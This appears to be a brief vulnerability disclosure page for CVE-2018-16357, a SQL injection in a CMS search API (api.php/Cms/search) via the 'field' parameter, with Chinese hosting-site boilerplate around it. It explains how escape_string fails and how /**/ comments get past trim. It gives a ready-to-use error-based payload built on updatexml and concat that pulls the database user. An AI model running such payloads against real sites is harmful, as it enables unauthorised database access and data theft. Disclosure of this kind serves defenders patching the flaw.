代码拉取完成,页面将自动刷新
CVE-2018-16357 detail
#IMGB1 Threre is a sql injection via api.php/Cms/search?#acode=1&num=1&order=1
parameter $field is what we can control,go to check the function filter

use function trim and escape_string to avoid sql injection

add a ' and it cause mysql syntax error,so the function escape_string is not effective

use /**/ to bypass the function trim
payload:field=1)/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/user()),0x7e),1)#&keyword=title&scode=1

此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。